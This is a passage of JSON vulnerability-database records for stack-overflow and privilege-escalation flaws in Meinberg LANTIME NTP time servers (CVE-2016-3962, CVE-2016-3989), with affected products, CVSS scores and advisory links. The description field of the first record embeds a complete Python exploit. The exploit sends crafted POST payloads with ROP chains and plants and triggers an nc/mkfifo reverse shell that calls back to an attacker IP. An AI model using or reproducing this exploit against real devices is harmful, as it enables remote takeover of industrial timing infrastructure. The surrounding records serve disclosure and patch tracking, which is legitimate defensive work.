"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:meinberg:ims-lantime_m1000",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:ims-lantime_m3000",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:ims-lantime_m500",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m100",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m200",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m300",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m400",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m600",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m900",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lces",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:meinberg:ntp_server_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:syncfire_1100",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Ryan Wincey",
"sources": [
{
"db": "BID",
"id": "91400"
}
],
"trust": 0.3
},
"cve": "CVE-2016-3962",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2016-3962",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-92781",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"exploitabilityScore": 3.9,
"id": "CVE-2016-3962",
"impactScore": 3.4,
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-3962",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2016-3962",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-201606-551",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-92781",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request. Meinberg NTP Time Server is prone to multiple privilege-escalation and stack-based buffer-overflow vulnerabilities. \nRemote attackers can exploit these issues to execute arbitrary code in the context of the application or gain elevated privileges. Other attacks are also possible. \nThe following products are affected :\nMeinberg IMS-LANTIME M3000 Version 6.0 and prior\nMeinberg IMS-LANTIME M1000 Version 6.0 and prior\nMeinberg IMS-LANTIME M500 Version 6.0 and prior\nMeinberg LANTIME M900 Version 6.0 and prior\nMeinberg LANTIME M600 Version 6.0 and prior\nMeinberg LANTIME M400 Version 6.0 and prior\nMeinberg LANTIME M300 Version 6.0 and prior\nMeinberg LANTIME M200 Version 6.0 and prior\nMeinberg LANTIME M100 Version 6.0 and prior\nMeinberg SyncFire 1100 Version 6.0 and prior\nMeinberg LCES Version 6.0 and prior. Meinberg IMS-LANTIME M3000 etc. are all NTP time servers of German Meinberg company. #!/usr/bin/python\n#\n# EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit\n# EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/\n#\n# 271 - trigger notifications\n# 299 - copy user defined notifications\n \n# Kernel Version: 2.6.15.1\n# System Version: 530 \n# Lantime configuration utility 1.27\n# ELX800/GPS M4x V5.30p\n \nimport socket\nimport struct\nimport telnetlib\nimport sys\nimport time\n \nif len(sys.argv) \u003c 3:\n print \"[-] \u003cHost\u003e \u003cCallback IP\u003e \"\n exit(1)\n \n \nhost = sys.argv[1]\ncallback_ip = sys.argv[2]\n \nprint \"[+] exploiting Meinburg M400\"\nport = 80\n \n###################################################################\n#\n# Copy user_defined_notification to /www/filetmp\n# Append reverse shell string to /file/tmp \n#\ncsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)\ncsock.connect ( (host, int(port)) )\n \nparam = \"A\" * 0x2850\n \nresp = \"POST /cgi-bin/main HTTP/1.1\\r\\n\"\nresp += \"Host: \" + host + \"\\r\\n\"\nresp += \"User-Agent: Mozilla/5.0\\r\\n\"\nresp += \"Accept: text/html\\r\\n\"\nresp += \"Accept-Language: en-US\\r\\n\"\nresp += \"Connection: keep-alive\\r\\n\"\nresp += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n \nsystem = 0x80490B0\nexit = 0x80492C0\nsome_str = 0x850BDB8\n \n#must have a listener setup to receive the callback connection on ip 192.168.60.232\n# i.e. nc -v -l -p 4444\ncommand = \u0027cp /mnt/flash/config/user_defined_notification /www/filetmp; echo \"{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash\u003c/tmp/foo|{nc,\u0027 + callback_ip +\u00270,4444}\u003e/tmp/foo;\" \u003e\u003e /www/filetmp\u0027\n \nmsg = \"button=\" + \"A\"*10028\nmsg += struct.pack(\"I\", system )\nmsg += struct.pack(\"I\", exit )\nmsg += struct.pack(\"I\", some_str )\nmsg += command + \"\\x00\"\n \nresp += \"Content-Length: \" + str(len(msg)) + \"\\r\\n\\r\\n\"\nresp += msg\ncsock.send(resp)\ncsock.close()\n \ntime.sleep(1)\n \n###################################################################\n#\n# Copy /www/filetmp to user_defined_notification \n# \ncsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)\ncsock.connect ( (host, int(port)) )\n \nparam = \"A\" * 0x2850\n \nresp = \"POST /cgi-bin/main HTTP/1.1\\r\\n\"\nresp += \"Host: \" + host + \"\\r\\n\"\nresp += \"User-Agent: Mozilla/5.0\\r\\n\"\nresp += \"Accept: text/html\\r\\n\"\nresp += \"Accept-Language: en-US\\r\\n\"\nresp += \"Connection: keep-alive\\r\\n\"\nresp += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n \nsend_cmd = 0x807ED88\nsystem = 0x80490B0\nexit = 0x80492C0\nsome_str = 0x850BDB8\nret = 0x804CE65\n \n#stack pivot\nstack_pivot = 0x8049488\nmsg = \"button=\" + \"A\" * 9756\n \nmsg += \"B\" * 28\nmsg += struct.pack(\"I\", 0x7FFEE01A ) # ebp\nmsg += struct.pack(\"I\", 0x0804ce64 ) # pop eax ; ret\nmsg += struct.pack(\"I\", some_str - 0x100 ) # some place\nmsg += struct.pack(\"I\", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret\nmsg += struct.pack(\"I\", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret\nmsg += struct.pack(\"I\", ret ) * (71/4)\n \nmsg += struct.pack(\"I\", send_cmd )\nmsg += struct.pack(\"I\", exit )\nmsg += struct.pack(\"I\", 0x80012111 ) # [eax + 0x60]\nmsg += struct.pack(\"I\", some_str ) # buffer\nmsg += struct.pack(\"I\", 0xffffffff ) # count\nmsg += \"E\" * 120\n \nmsg += struct.pack(\"I\", 0xB1E8B434 ) # ebx\nmsg += struct.pack(\"I\", some_str - 100 ) # esi\nmsg += struct.pack(\"I\", some_str - 100 ) # edi\nmsg += struct.pack(\"I\", some_str - 0x100 ) # ebp\nmsg += struct.pack(\"I\", stack_pivot ) # mov esp, ebp ; ret\nmsg += \"A\" * 100\n \nresp += \"Content-Length: \" + str(len(msg)) + \"\\r\\n\\r\\n\"\nresp += msg\ncsock.send(resp)\ncsock.close\n \ntime.sleep(1)\n \n###################################################################\n#\n# Trigger reverse shell \n# \n \ncsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)\ncsock.connect ( (host, int(port)) )\n \nparam = \"A\" * 0x2850\n \nresp = \"POST /cgi-bin/main HTTP/1.1\\r\\n\"\nresp += \"Host: \" + host + \"\\r\\n\"\nresp += \"User-Agent: Mozilla/5.0\\r\\n\"\nresp += \"Accept: text/html\\r\\n\"\nresp += \"Accept-Language: en-US\\r\\n\"\nresp += \"Connection: keep-alive\\r\\n\"\nresp += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n \nsend_cmd = 0x807ED88\nsystem = 0x80490B0\nexit = 0x80492C0\nsome_str = 0x850BDB8\nret = 0x804CE65\n \n#stack pivot\nstack_pivot = 0x8049488\nmsg = \"button=\" + \"A\" * 9756\n \nmsg += \"B\" * 28\nmsg += struct.pack(\"I\", 0x7FFEE01A ) # ebp\nmsg += struct.pack(\"I\", 0x0804ce64 ) # pop eax ; ret\nmsg += struct.pack(\"I\", some_str - 0x100 ) # some place\nmsg += struct.pack(\"I\", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret\nmsg += struct.pack(\"I\", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret\nmsg += struct.pack(\"I\", ret ) * (71/4)\n \nmsg += struct.pack(\"I\", send_cmd )\nmsg += struct.pack(\"I\", exit )\nmsg += struct.pack(\"I\", 0x800120f5 ) # [eax + 0x60]\nmsg += struct.pack(\"I\", some_str ) # buffer\nmsg += struct.pack(\"I\", 0xffffffff ) # count\nmsg += \"E\" * 120\n \nmsg += struct.pack(\"I\", 0xB1E8B434 ) # ebx\nmsg += struct.pack(\"I\", some_str - 100 ) # esi\nmsg += struct.pack(\"I\", some_str - 100 ) # edi\nmsg += struct.pack(\"I\", some_str - 0x100 ) # ebp\nmsg += struct.pack(\"I\", stack_pivot ) # mov esp, ebp ; ret\nmsg += \"A\" * 100\n \nresp += \"Content-Length: \" + str(len(msg)) + \"\\r\\n\\r\\n\"\nresp += msg\ncsock.send(resp)\ncsock.close()\n \ntime.sleep(1)\n \n \nprint \"[+] cleaning up\"\n###################################################################\n#\n# Kill all mains that are hung-up\n#\ncsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)\ncsock.connect ( (host, int(port)) )\n \nparam = \"A\" * 0x2850\n \nresp = \"POST /cgi-bin/main HTTP/1.1\\r\\n\"\nresp += \"Host: \" + host + \"\\r\\n\"\nresp += \"User-Agent: Mozilla/5.0\\r\\n\"\nresp += \"Accept: text/html\\r\\n\"\nresp += \"Accept-Language: en-US\\r\\n\"\nresp += \"Connection: keep-alive\\r\\n\"\nresp += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n \nsystem = 0x80490B0\nexit = 0x80492C0\nsome_str = 0x850BDB8\n \ncommand = \u0027killall main\u0027\n \nmsg = \"button=\" + \"A\"*10028\nmsg += struct.pack(\"I\", system )\nmsg += struct.pack(\"I\", exit )\nmsg += struct.pack(\"I\", some_str )\nmsg += command + \"\\x00\"\n \nresp += \"Content-Length: \" + str(len(msg)) + \"\\r\\n\\r\\n\"\nresp += msg\ncsock.send(resp)\ncsock.close()\n \nprint \"[+] enjoy\"\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-3962"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "PACKETSTORM",
"id": "137947"
}
],
"trust": 2.07
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-92781",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2016-3962",
"trust": 2.9
},
{
"db": "ICS CERT",
"id": "ICSA-16-175-03",
"trust": 2.5
},
{
"db": "EXPLOIT-DB",
"id": "40120",
"trust": 1.1
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551",
"trust": 0.7
},
{
"db": "BID",
"id": "91400",
"trust": 0.3
},
{
"db": "PACKETSTORM",
"id": "137947",
"trust": 0.2
},
{
"db": "VULHUB",
"id": "VHN-92781",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "PACKETSTORM",
"id": "137947"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"id": "VAR-201607-0010",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
}
],
"trust": 0.01
},
"last_update_date": "2025-04-13T23:02:54.663000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Meinberg Security Advisory: [MBGSA-1604] WebUI and NTP",
"trust": 0.8,
"url": "https://www.meinbergglobal.com/english/news/meinberg-security-advisory-mbgsa-1604-webui-and-ntp.htm"
},
{
"title": "Multiple Meinberg Product-based stack-based buffer overflow vulnerability fixes",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=62467"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "https://ics-cert.us-cert.gov/advisories/icsa-16-175-03"
},
{
"trust": 1.1,
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-3962"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-3962"
},
{
"trust": 0.1,
"url": "https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/"
},
{
"trust": 0.1,
"url": "https://github.com/securifera/cve-2016-3962-exploit"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-3962"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "PACKETSTORM",
"id": "137947"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "PACKETSTORM",
"id": "137947"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-07-03T00:00:00",
"db": "VULHUB",
"id": "VHN-92781"
},
{
"date": "2016-06-23T00:00:00",
"db": "BID",
"id": "91400"
},
{
"date": "2016-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"date": "2016-07-18T21:50:07",
"db": "PACKETSTORM",
"id": "137947"
},
{
"date": "2016-06-24T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201606-551"
},
{
"date": "2016-07-03T14:59:03.477000",
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-09-03T00:00:00",
"db": "VULHUB",
"id": "VHN-92781"
},
{
"date": "2016-06-23T00:00:00",
"db": "BID",
"id": "91400"
},
{
"date": "2016-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"date": "2016-07-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201606-551"
},
{
"date": "2025-04-12T10:46:40.837000",
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "137947"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural Meinberg Runs on device firmware NTP Time Server Interface-based stack-based buffer overflow vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer overflow",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
],
"trust": 0.6
}
}
VAR-201607-0012
Vulnerability from variot - Updated: 2025-04-13 23:02The NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote authenticated users to obtain root privileges for writing to unspecified scripts, and consequently obtain sensitive information or modify data, by leveraging access to the nobody account. Meinberg NTP Time Server is prone to multiple privilege-escalation and stack-based buffer-overflow vulnerabilities. Remote attackers can exploit these issues to execute arbitrary code in the context of the application or gain elevated privileges. Other attacks are also possible. The following products are affected : Meinberg IMS-LANTIME M3000 Version 6.0 and prior Meinberg IMS-LANTIME M1000 Version 6.0 and prior Meinberg IMS-LANTIME M500 Version 6.0 and prior Meinberg LANTIME M900 Version 6.0 and prior Meinberg LANTIME M600 Version 6.0 and prior Meinberg LANTIME M400 Version 6.0 and prior Meinberg LANTIME M300 Version 6.0 and prior Meinberg LANTIME M200 Version 6.0 and prior Meinberg LANTIME M100 Version 6.0 and prior Meinberg SyncFire 1100 Version 6.0 and prior Meinberg LCES Version 6.0 and prior. Meinberg IMS-LANTIME M3000 etc. are all NTP time servers of German Meinberg company. An elevation of privilege vulnerability exists in the NTP time-server interface of several Meinberg products
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201607-0012",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "lces",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m100",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m200",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m3000",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m300",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ntp server",
"scope": "lte",
"trust": 1.0,
"vendor": "meinberg",
"version": "6.0"
},
{
"model": "ims-lantime m1000",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m400",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m600",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "syncfire 1100",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m500",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m900",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m1000",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ims-lantime m3000",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ims-lantime m500",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m100",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m200",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m300",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m400",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m600",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m900",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lces",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ntp server",
"scope": "lt",
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": "6.20.004"
},
{
"model": "syncfire 1100",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ntp server",
"scope": "eq",
"trust": 0.6,
"vendor": "meinberg",
"version": "6.0"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-553"
},
{
"db": "NVD",
"id": "CVE-2016-3989"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:meinberg:ims-lantime_m1000",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:ims-lantime_m3000",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:ims-lantime_m500",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m100",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m200",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m300",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m400",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m600",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m900",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lces",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:meinberg:ntp_server_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:syncfire_1100",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Ryan Wincey",
"sources": [
{
"db": "BID",
"id": "91400"
}
],
"trust": 0.3
},
"cve": "CVE-2016-3989",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
